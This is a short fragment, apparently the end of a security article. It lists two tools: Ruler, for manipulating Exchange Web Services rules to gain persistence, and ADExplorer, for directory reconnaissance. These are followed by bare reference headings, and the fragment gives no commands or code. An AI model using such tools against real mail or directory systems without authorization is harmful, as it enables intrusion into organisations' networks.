  • Ruler - EWS rules manipulation for persistence
  • ADExplorer - LDAP/directory reconnaissance

Microsoft Documentation

References & Further Reading